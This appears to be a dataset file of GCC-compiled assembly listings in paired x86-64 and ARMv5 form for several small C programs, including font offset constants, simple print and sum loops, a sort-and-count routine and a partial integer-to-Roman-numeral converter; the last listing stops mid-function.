.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "367646.c"
.intel_syntax noprefix
.text
.globl Arial13x16_Regular
.section .rodata
.align 8
.type Arial13x16_Regular, @object
.size Arial13x16_Regular, 8
Arial13x16_Regular:
.quad 530
.globl Arial13x16_Bold
.align 8
.type Arial13x16_Bold, @object
.size Arial13x16_Bold, 8
Arial13x16_Bold:
.quad 2666
.globl Arial19x22_Regular
.align 8
.type Arial19x22_Regular, @object
.size Arial19x22_Regular, 8
Arial19x22_Regular:
.quad 4818
.globl Arial23x29_Bold
.align 8
.type Arial23x29_Bold, @object
.size Arial23x29_Bold, 8
Arial23x29_Bold:
.quad 8796
.globl Arial30x33_Regular
.align 8
.type Arial30x33_Regular, @object
.size Arial30x33_Regular, 8
Arial30x33_Regular:
.quad 14350
.globl Arial32x36_Regular
.align 8
.type Arial32x36_Regular, @object
.size Arial32x36_Regular, 8
Arial32x36_Regular:
.quad 21408
.globl Tahoma12x16_Regular
.align 8
.type Tahoma12x16_Regular, @object
.size Tahoma12x16_Regular, 8
Tahoma12x16_Regular:
.quad 29900
.globl Tahoma14x16_Bold
.align 8
.type Tahoma14x16_Bold, @object
.size Tahoma14x16_Bold, 8
Tahoma14x16_Bold:
.quad 31940
.globl Tahoma16x19_Regular
.align 8
.type Tahoma16x19_Regular, @object
.size Tahoma16x19_Regular, 8
Tahoma16x19_Regular:
.quad 34092
.globl Tahoma19x19_Bold
.align 8
.type Tahoma19x19_Bold, @object
.size Tahoma19x19_Bold, 8
Tahoma19x19_Bold:
.quad 36840
.globl Tahoma19x23_Regular
.align 8
.type Tahoma19x23_Regular, @object
.size Tahoma19x23_Regular, 8
Tahoma19x23_Regular:
.quad 40234
.globl Tahoma23x23_Bold
.align 8
.type Tahoma23x23_Bold, @object
.size Tahoma23x23_Bold, 8
Tahoma23x23_Bold:
.quad 44283
.globl Tahoma21x25_Regular
.align 8
.type Tahoma21x25_Regular, @object
.size Tahoma21x25_Regular, 8
Tahoma21x25_Regular:
.quad 48631
.globl Tahoma23x29_Regular
.align 8
.type Tahoma23x29_Regular, @object
.size Tahoma23x29_Regular, 8
Tahoma23x29_Regular:
.quad 53248
.globl Tahoma28x35_Regular
.align 8
.type Tahoma28x35_Regular, @object
.size Tahoma28x35_Regular, 8
Tahoma28x35_Regular:
.quad 58773
.globl Tahoma11x13_Regular
.align 8
.type Tahoma11x13_Regular, @object
.size Tahoma11x13_Regular, 8
Tahoma11x13_Regular:
.quad 66480
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "367646.c"
.text
.global Arial13x16_Regular
.section .rodata
.align 2
.type Arial13x16_Regular, %object
.size Arial13x16_Regular, 4
Arial13x16_Regular:
.word 530
.global Arial13x16_Bold
.align 2
.type Arial13x16_Bold, %object
.size Arial13x16_Bold, 4
Arial13x16_Bold:
.word 2666
.global Arial19x22_Regular
.align 2
.type Arial19x22_Regular, %object
.size Arial19x22_Regular, 4
Arial19x22_Regular:
.word 4818
.global Arial23x29_Bold
.align 2
.type Arial23x29_Bold, %object
.size Arial23x29_Bold, 4
Arial23x29_Bold:
.word 8796
.global Arial30x33_Regular
.align 2
.type Arial30x33_Regular, %object
.size Arial30x33_Regular, 4
Arial30x33_Regular:
.word 14350
.global Arial32x36_Regular
.align 2
.type Arial32x36_Regular, %object
.size Arial32x36_Regular, 4
Arial32x36_Regular:
.word 21408
.global Tahoma12x16_Regular
.align 2
.type Tahoma12x16_Regular, %object
.size Tahoma12x16_Regular, 4
Tahoma12x16_Regular:
.word 29900
.global Tahoma14x16_Bold
.align 2
.type Tahoma14x16_Bold, %object
.size Tahoma14x16_Bold, 4
Tahoma14x16_Bold:
.word 31940
.global Tahoma16x19_Regular
.align 2
.type Tahoma16x19_Regular, %object
.size Tahoma16x19_Regular, 4
Tahoma16x19_Regular:
.word 34092
.global Tahoma19x19_Bold
.align 2
.type Tahoma19x19_Bold, %object
.size Tahoma19x19_Bold, 4
Tahoma19x19_Bold:
.word 36840
.global Tahoma19x23_Regular
.align 2
.type Tahoma19x23_Regular, %object
.size Tahoma19x23_Regular, 4
Tahoma19x23_Regular:
.word 40234
.global Tahoma23x23_Bold
.align 2
.type Tahoma23x23_Bold, %object
.size Tahoma23x23_Bold, 4
Tahoma23x23_Bold:
.word 44283
.global Tahoma21x25_Regular
.align 2
.type Tahoma21x25_Regular, %object
.size Tahoma21x25_Regular, 4
Tahoma21x25_Regular:
.word 48631
.global Tahoma23x29_Regular
.align 2
.type Tahoma23x29_Regular, %object
.size Tahoma23x29_Regular, 4
Tahoma23x29_Regular:
.word 53248
.global Tahoma28x35_Regular
.align 2
.type Tahoma28x35_Regular, %object
.size Tahoma28x35_Regular, 4
Tahoma28x35_Regular:
.word 58773
.global Tahoma11x13_Regular
.align 2
.type Tahoma11x13_Regular, %object
.size Tahoma11x13_Regular, 4
Tahoma11x13_Regular:
.word 66480
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "612846.c"
.intel_syntax noprefix
.text
.section .rodata
.LC0:
.string "%d\n"
.text
.globl main
.type main, @function
main:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 16
mov DWORD PTR -4[rbp], 0
jmp .L2
.L3:
mov eax, DWORD PTR -4[rbp]
mov esi, eax
lea rdi, .LC0[rip]
mov eax, 0
call printf@PLT
add DWORD PTR -4[rbp], 1
.L2:
cmp DWORD PTR -4[rbp], 10
jle .L3
mov eax, 0
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size main, .-main
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "612846.c"
.text
.section .rodata
.align 2
.LC0:
.ascii "%d\012\000"
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #8
mov r3, #0
str r3, [fp, #-8]
b .L2
.L3:
ldr r1, [fp, #-8]
ldr r0, .L5
bl printf
ldr r3, [fp, #-8]
add r3, r3, #1
str r3, [fp, #-8]
.L2:
ldr r3, [fp, #-8]
cmp r3, #10
ble .L3
mov r3, #0
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L6:
.align 2
.L5:
.word .LC0
.size main, .-main
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "435040.c"
.intel_syntax noprefix
.text
.globl s
.bss
.align 32
.type s, @object
.size s, 40000000
s:
.zero 40000000
.globl n
.align 4
.type n, @object
.size n, 4
n:
.zero 4
.section .rodata
.LC0:
.string "%d"
.LC1:
.string "%d %d"
.text
.globl main
.type main, @function
main:
.LFB6:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 48
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
mov DWORD PTR -24[rbp], 0
lea rsi, n[rip]
lea rdi, .LC0[rip]
mov eax, 0
call __isoc99_scanf@PLT
mov DWORD PTR -36[rbp], 0
jmp .L2
.L3:
mov eax, DWORD PTR -36[rbp]
cdqe
lea rdx, 0[0+rax*4]
lea rax, s[rip]
add rax, rdx
mov rsi, rax
lea rdi, .LC0[rip]
mov eax, 0
call __isoc99_scanf@PLT
add DWORD PTR -36[rbp], 1
.L2:
mov eax, DWORD PTR n[rip]
cmp DWORD PTR -36[rbp], eax
jl .L3
lea rax, -40[rbp]
mov rsi, rax
lea rdi, .LC0[rip]
mov eax, 0
call __isoc99_scanf@PLT
mov eax, DWORD PTR n[rip]
cdqe
lea rcx, cmp[rip]
mov edx, 4
mov rsi, rax
lea rdi, s[rip]
call qsort@PLT
mov eax, DWORD PTR n[rip]
sub eax, 1
mov DWORD PTR -36[rbp], eax
mov DWORD PTR -32[rbp], 0
jmp .L4
.L5:
mov eax, DWORD PTR -36[rbp]
cdqe
lea rdx, 0[0+rax*4]
lea rax, s[rip]
mov eax, DWORD PTR [rdx+rax]
mov DWORD PTR -12[rbp], eax
mov eax, DWORD PTR -32[rbp]
cdqe
lea rdx, 0[0+rax*4]
lea rax, s[rip]
mov eax, DWORD PTR [rdx+rax]
mov edx, DWORD PTR -36[rbp]
movsx rdx, edx
lea rcx, 0[0+rdx*4]
lea rdx, s[rip]
mov DWORD PTR [rcx+rdx], eax
mov eax, DWORD PTR -32[rbp]
cdqe
lea rcx, 0[0+rax*4]
lea rdx, s[rip]
mov eax, DWORD PTR -12[rbp]
mov DWORD PTR [rcx+rdx], eax
add DWORD PTR -32[rbp], 1
sub DWORD PTR -36[rbp], 1
.L4:
mov eax, DWORD PTR -32[rbp]
cmp eax, DWORD PTR -36[rbp]
jl .L5
mov DWORD PTR -32[rbp], 0
mov eax, DWORD PTR s[rip]
mov DWORD PTR -28[rbp], eax
mov DWORD PTR -36[rbp], 0
jmp .L6
.L11:
mov eax, DWORD PTR -36[rbp]
cdqe
lea rdx, 0[0+rax*4]
lea rax, s[rip]
mov eax, DWORD PTR [rdx+rax]
cmp DWORD PTR -28[rbp], eax
jne .L7
add DWORD PTR -24[rbp], 1
jmp .L8
.L7:
add DWORD PTR -32[rbp], 1
mov eax, DWORD PTR -28[rbp]
mov DWORD PTR -20[rbp], eax
mov eax, DWORD PTR -36[rbp]
cdqe
lea rdx, 0[0+rax*4]
lea rax, s[rip]
mov eax, DWORD PTR [rdx+rax]
mov DWORD PTR -28[rbp], eax
mov eax, DWORD PTR -24[rbp]
mov DWORD PTR -16[rbp], eax
mov DWORD PTR -24[rbp], 1
.L8:
mov eax, DWORD PTR -40[rbp]
cmp DWORD PTR -32[rbp], eax
je .L14
add DWORD PTR -36[rbp], 1
.L6:
mov eax, DWORD PTR n[rip]
cmp DWORD PTR -36[rbp], eax
jl .L11
jmp .L10
.L14:
nop
.L10:
mov edx, DWORD PTR -16[rbp]
mov eax, DWORD PTR -20[rbp]
mov esi, eax
lea rdi, .LC1[rip]
mov eax, 0
call printf@PLT
mov eax, 0
mov rcx, QWORD PTR -8[rbp]
sub rcx, QWORD PTR fs:40
je .L13
call __stack_chk_fail@PLT
.L13:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE6:
.size main, .-main
.globl cmp
.type cmp, @function
cmp:
.LFB7:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov QWORD PTR -8[rbp], rdi
mov QWORD PTR -16[rbp], rsi
mov rax, QWORD PTR -8[rbp]
mov edx, DWORD PTR [rax]
mov rax, QWORD PTR -16[rbp]
mov ecx, DWORD PTR [rax]
mov eax, edx
sub eax, ecx
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE7:
.size cmp, .-cmp
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "435040.c"
.text
.comm s,40000000,4
.comm n,4,4
.section .rodata
.align 2
.LC0:
.ascii "%d\000"
.align 2
.LC1:
.ascii "%d %d\000"
.align 2
.LC2:
.word __stack_chk_guard
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 40
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #40
ldr r3, .L15
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
mov r3, #0
str r3, [fp, #-24]
ldr r1, .L15+4
ldr r0, .L15+8
bl __isoc99_scanf
mov r3, #0
str r3, [fp, #-36]
b .L2
.L3:
ldr r3, [fp, #-36]
lsl r3, r3, #2
ldr r2, .L15+12
add r3, r3, r2
mov r1, r3
ldr r0, .L15+8
bl __isoc99_scanf
ldr r3, [fp, #-36]
add r3, r3, #1
str r3, [fp, #-36]
.L2:
ldr r3, .L15+4
ldr r3, [r3]
ldr r2, [fp, #-36]
cmp r2, r3
blt .L3
sub r3, fp, #40
mov r1, r3
ldr r0, .L15+8
bl __isoc99_scanf
ldr r3, .L15+4
ldr r3, [r3]
mov r1, r3
ldr r3, .L15+16
mov r2, #4
ldr r0, .L15+12
bl qsort
ldr r3, .L15+4
ldr r3, [r3]
sub r3, r3, #1
str r3, [fp, #-36]
mov r3, #0
str r3, [fp, #-32]
b .L4
.L5:
ldr r2, .L15+12
ldr r3, [fp, #-36]
ldr r3, [r2, r3, lsl #2]
str r3, [fp, #-12]
ldr r2, .L15+12
ldr r3, [fp, #-32]
ldr r2, [r2, r3, lsl #2]
ldr r1, .L15+12
ldr r3, [fp, #-36]
str r2, [r1, r3, lsl #2]
ldr r1, .L15+12
ldr r3, [fp, #-32]
ldr r2, [fp, #-12]
str r2, [r1, r3, lsl #2]
ldr r3, [fp, #-32]
add r3, r3, #1
str r3, [fp, #-32]
ldr r3, [fp, #-36]
sub r3, r3, #1
str r3, [fp, #-36]
.L4:
ldr r2, [fp, #-32]
ldr r3, [fp, #-36]
cmp r2, r3
blt .L5
mov r3, #0
str r3, [fp, #-32]
ldr r3, .L15+12
ldr r3, [r3]
str r3, [fp, #-28]
mov r3, #0
str r3, [fp, #-36]
b .L6
.L11:
ldr r2, .L15+12
ldr r3, [fp, #-36]
ldr r3, [r2, r3, lsl #2]
ldr r2, [fp, #-28]
cmp r2, r3
bne .L7
ldr r3, [fp, #-24]
add r3, r3, #1
str r3, [fp, #-24]
b .L8
.L7:
ldr r3, [fp, #-32]
add r3, r3, #1
str r3, [fp, #-32]
ldr r3, [fp, #-28]
str r3, [fp, #-20]
ldr r2, .L15+12
ldr r3, [fp, #-36]
ldr r3, [r2, r3, lsl #2]
str r3, [fp, #-28]
ldr r3, [fp, #-24]
str r3, [fp, #-16]
mov r3, #1
str r3, [fp, #-24]
.L8:
ldr r3, [fp, #-40]
ldr r2, [fp, #-32]
cmp r2, r3
beq .L14
ldr r3, [fp, #-36]
add r3, r3, #1
str r3, [fp, #-36]
.L6:
ldr r3, .L15+4
ldr r3, [r3]
ldr r2, [fp, #-36]
cmp r2, r3
blt .L11
b .L10
.L14:
nop
.L10:
ldr r2, [fp, #-16]
ldr r1, [fp, #-20]
ldr r0, .L15+20
bl printf
mov r3, #0
ldr r2, .L15
ldr r1, [r2]
ldr r2, [fp, #-8]
eors r1, r2, r1
mov r2, #0
beq .L13
bl __stack_chk_fail
.L13:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L16:
.align 2
.L15:
.word .LC2
.word n
.word .LC0
.word s
.word cmp
.word .LC1
.size main, .-main
.align 2
.global cmp
.syntax unified
.arm
.fpu softvfp
.type cmp, %function
cmp:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
sub sp, sp, #12
str r0, [fp, #-8]
str r1, [fp, #-12]
ldr r3, [fp, #-8]
ldr r2, [r3]
ldr r3, [fp, #-12]
ldr r3, [r3]
sub r3, r2, r3
mov r0, r3
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.size cmp, .-cmp
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "325607.c"
.intel_syntax noprefix
.text
.section .rodata
.align 8
.LC0:
.string "Enter the number of terms of the series: "
.LC1:
.string "%d"
.LC2:
.string "%d "
.LC3:
.string "\nSum of the series is %d.\n"
.text
.globl main
.type main, @function
main:
.LFB6:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 32
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
mov DWORD PTR -12[rbp], 0
lea rdi, .LC0[rip]
mov eax, 0
call printf@PLT
lea rax, -20[rbp]
mov rsi, rax
lea rdi, .LC1[rip]
mov eax, 0
call __isoc99_scanf@PLT
mov DWORD PTR -16[rbp], 1
jmp .L2
.L3:
mov eax, DWORD PTR -16[rbp]
imul eax, eax
mov esi, eax
lea rdi, .LC2[rip]
mov eax, 0
call printf@PLT
mov eax, DWORD PTR -16[rbp]
imul eax, eax
add DWORD PTR -12[rbp], eax
add DWORD PTR -16[rbp], 1
.L2:
mov eax, DWORD PTR -20[rbp]
cmp DWORD PTR -16[rbp], eax
jle .L3
mov eax, DWORD PTR -12[rbp]
mov esi, eax
lea rdi, .LC3[rip]
mov eax, 0
call printf@PLT
mov eax, 0
mov rdx, QWORD PTR -8[rbp]
sub rdx, QWORD PTR fs:40
je .L5
call __stack_chk_fail@PLT
.L5:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE6:
.size main, .-main
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "325607.c"
.text
.section .rodata
.align 2
.LC0:
.ascii "Enter the number of terms of the series: \000"
.align 2
.LC1:
.ascii "%d\000"
.align 2
.LC2:
.ascii "%d \000"
.align 2
.LC3:
.ascii "\012Sum of the series is %d.\012\000"
.align 2
.LC4:
.word __stack_chk_guard
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #16
ldr r3, .L6
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
mov r3, #0
str r3, [fp, #-12]
ldr r0, .L6+4
bl printf
sub r3, fp, #20
mov r1, r3
ldr r0, .L6+8
bl __isoc99_scanf
mov r3, #1
str r3, [fp, #-16]
b .L2
.L3:
ldr r3, [fp, #-16]
mov r2, r3
mul r2, r3, r2
mov r3, r2
mov r1, r3
ldr r0, .L6+12
bl printf
ldr r3, [fp, #-16]
mov r2, r3
mul r2, r3, r2
mov r3, r2
ldr r2, [fp, #-12]
add r3, r2, r3
str r3, [fp, #-12]
ldr r3, [fp, #-16]
add r3, r3, #1
str r3, [fp, #-16]
.L2:
ldr r3, [fp, #-20]
ldr r2, [fp, #-16]
cmp r2, r3
ble .L3
ldr r1, [fp, #-12]
ldr r0, .L6+16
bl printf
mov r3, #0
ldr r2, .L6
ldr r1, [r2]
ldr r2, [fp, #-8]
eors r1, r2, r1
mov r2, #0
beq .L5
bl __stack_chk_fail
.L5:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L7:
.align 2
.L6:
.word .LC4
.word .LC0
.word .LC1
.word .LC2
.word .LC3
.size main, .-main
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "441595.c"
.intel_syntax noprefix
.text
.globl hard_locale
.type hard_locale, @function
hard_locale:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov DWORD PTR -4[rbp], edi
mov eax, 0
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size hard_locale, .-hard_locale
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "441595.c"
.text
.align 2
.global hard_locale
.syntax unified
.arm
.fpu softvfp
.type hard_locale, %function
hard_locale:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
sub sp, sp, #12
str r0, [fp, #-8]
mov r3, #0
mov r0, r3
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.size hard_locale, .-hard_locale
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "935723.c"
.intel_syntax noprefix
.text
.globl RN_S
.bss
.align 16
.type RN_S, @object
.size RN_S, 16
RN_S:
.zero 16
.text
.globl rn_chcpy
.type rn_chcpy, @function
rn_chcpy:
.LFB6:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov eax, esi
mov QWORD PTR -32[rbp], rdx
mov QWORD PTR -40[rbp], rcx
mov edx, edi
mov BYTE PTR -20[rbp], dl
mov BYTE PTR -24[rbp], al
cmp BYTE PTR -20[rbp], 9
jne .L2
mov rax, QWORD PTR -40[rbp]
mov rax, QWORD PTR [rax]
movzx eax, BYTE PTR [rax]
mov BYTE PTR -1[rbp], al
mov rax, QWORD PTR -40[rbp]
mov rax, QWORD PTR [rax]
mov rdx, QWORD PTR -32[rbp]
movzx edx, BYTE PTR [rdx]
mov BYTE PTR [rax], dl
mov rax, QWORD PTR -40[rbp]
mov rax, QWORD PTR [rax]
lea rdx, 1[rax]
mov rax, QWORD PTR -40[rbp]
mov QWORD PTR [rax], rdx
mov rax, QWORD PTR -40[rbp]
mov rax, QWORD PTR [rax]
movzx edx, BYTE PTR -1[rbp]
mov BYTE PTR [rax], dl
mov BYTE PTR -20[rbp], 0
mov BYTE PTR -24[rbp], 0
mov rax, QWORD PTR -40[rbp]
mov rax, QWORD PTR [rax]
lea rdx, 1[rax]
mov rax, QWORD PTR -40[rbp]
mov QWORD PTR [rax], rdx
jmp .L6
.L2:
cmp BYTE PTR -20[rbp], 5
jne .L4
mov rax, QWORD PTR -40[rbp]
mov rax, QWORD PTR [rax]
mov rdx, QWORD PTR -32[rbp]
movzx edx, BYTE PTR 1[rdx]
mov BYTE PTR [rax], dl
mov BYTE PTR -20[rbp], 0
mov rax, QWORD PTR -40[rbp]
mov rax, QWORD PTR [rax]
lea rdx, 1[rax]
mov rax, QWORD PTR -40[rbp]
mov QWORD PTR [rax], rdx
jmp .L6
.L4:
cmp BYTE PTR -20[rbp], 4
jne .L5
mov rax, QWORD PTR -40[rbp]
mov rax, QWORD PTR [rax]
mov rdx, QWORD PTR -32[rbp]
movzx edx, BYTE PTR [rdx]
mov BYTE PTR [rax], dl
mov rax, QWORD PTR -40[rbp]
mov rax, QWORD PTR [rax]
lea rdx, 1[rax]
mov rax, QWORD PTR -40[rbp]
mov QWORD PTR [rax], rdx
mov rax, QWORD PTR -40[rbp]
mov rax, QWORD PTR [rax]
mov rdx, QWORD PTR -32[rbp]
movzx edx, BYTE PTR 1[rdx]
mov BYTE PTR [rax], dl
mov BYTE PTR -20[rbp], 0
mov rax, QWORD PTR -40[rbp]
mov rax, QWORD PTR [rax]
lea rdx, 1[rax]
mov rax, QWORD PTR -40[rbp]
mov QWORD PTR [rax], rdx
jmp .L6
.L5:
cmp BYTE PTR -24[rbp], 0
je .L6
mov rax, QWORD PTR -40[rbp]
mov rax, QWORD PTR [rax]
mov rdx, QWORD PTR -32[rbp]
movzx edx, BYTE PTR 1[rdx]
mov BYTE PTR [rax], dl
movzx eax, BYTE PTR -20[rbp]
sub eax, 5
mov BYTE PTR -20[rbp], al
mov rax, QWORD PTR -40[rbp]
mov rax, QWORD PTR [rax]
lea rdx, 1[rax]
mov rax, QWORD PTR -40[rbp]
mov QWORD PTR [rax], rdx
jmp .L6
.L7:
mov rax, QWORD PTR -40[rbp]
mov rax, QWORD PTR [rax]
mov rdx, QWORD PTR -32[rbp]
movzx edx, BYTE PTR [rdx]
mov BYTE PTR [rax], dl
mov rax, QWORD PTR -40[rbp]
mov rax, QWORD PTR [rax]
lea rdx, 1[rax]
mov rax, QWORD PTR -40[rbp]
mov QWORD PTR [rax], rdx
movzx eax, BYTE PTR -20[rbp]
sub eax, 1
mov BYTE PTR -20[rbp], al
.L6:
cmp BYTE PTR -20[rbp], 0
jne .L7
mov rax, QWORD PTR -40[rbp]
mov rax, QWORD PTR [rax]
mov rdx, QWORD PTR -32[rbp]
movzx edx, BYTE PTR [rdx]
mov BYTE PTR [rax], dl
nop
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE6:
.size rn_chcpy, .-rn_chcpy
.section .rodata
.LC0:
.string "M "
.LC1:
.string "CD"
.LC2:
.string "XL"
.LC3:
.string "IV"
.text
.globl solution
.type solution, @function
solution:
.LFB7:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 64
mov DWORD PTR -52[rbp], edi
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
mov QWORD PTR -32[rbp], 0
mov QWORD PTR -24[rbp], 0
mov QWORD PTR -40[rbp], 0
mov eax, DWORD PTR -52[rbp]
movsx rdx, eax
imul rdx, rdx, 274877907
shr rdx, 32
sar edx, 6
mov ecx, eax
sar ecx, 31
sub edx, ecx
imul ecx, edx, 1000
sub eax, ecx
mov edx, eax
mov eax, DWORD PTR -52[rbp]
sub eax, edx
movsx rdx, eax
imul rdx, rdx, 274877907
shr rdx, 32
sar edx, 6
sar eax, 31
mov ecx, eax
mov eax, edx
sub eax, ecx
mov BYTE PTR -41[rbp], al
mov eax, DWORD PTR -52[rbp]
movsx rdx, eax
imul rdx, rdx, 274877907
shr rdx, 32
sar edx, 6
mov ecx, eax
sar ecx, 31
sub edx, ecx
imul ecx, edx, 1000
sub eax, ecx
mov edx, eax
mov eax, DWORD PTR -52[rbp]
movsx rcx, eax
imul rcx, rcx, 1374389535
shr rcx, 32
sar ecx, 5
mov esi, eax
sar esi, 31
sub ecx, esi
imul esi, ecx, 100
sub eax, esi
mov ecx, eax
mov eax, edx
sub eax, ecx
movsx rdx, eax
imul rdx, rdx, 1374389535
shr rdx, 32
sar edx, 5
sar eax, 31
mov ecx, eax
mov eax, edx
sub eax, ecx
mov BYTE PTR -47[rbp], al
mov eax, DWORD PTR -52[rbp]
movsx rdx, eax
imul rdx, rdx, 1374389535
shr rdx, 32
sar edx, 5
mov esi, eax
sar esi, 31
mov ecx, edx
sub ecx, esi
imul edx, ecx, 100
sub eax, edx
mov ecx, eax
mov edx, DWORD PTR -52[rbp]
movsx rax, edx
imul rax, rax, 1717986919
shr rax, 32
sar eax, 2
mov edi, edx
sar edi, 31
sub eax, edi
mov esi, eax
mov eax, esi
sal eax, 2
add eax, esi
add eax, eax
mov esi, edx
sub esi, eax
mov eax, ecx
sub eax, esi
movsx rdx, eax
imul rdx, rdx, 1717986919
shr rdx, 32
sar edx, 2
sar eax, 31
mov ecx, eax
mov eax, edx
sub eax, ecx
mov BYTE PTR -46[rbp], al
mov ecx, DWORD PTR -52[rbp]
movsx rax, ecx
imul rax, rax, 1717986919
shr rax, 32
sar eax, 2
mov esi, ecx
sar esi, 31
sub eax, esi
mov edx, eax
mov eax, edx
sal eax, 2
add eax, edx
add eax, eax
sub ecx, eax
mov edx, ecx
mov BYTE PTR -45[rbp], dl
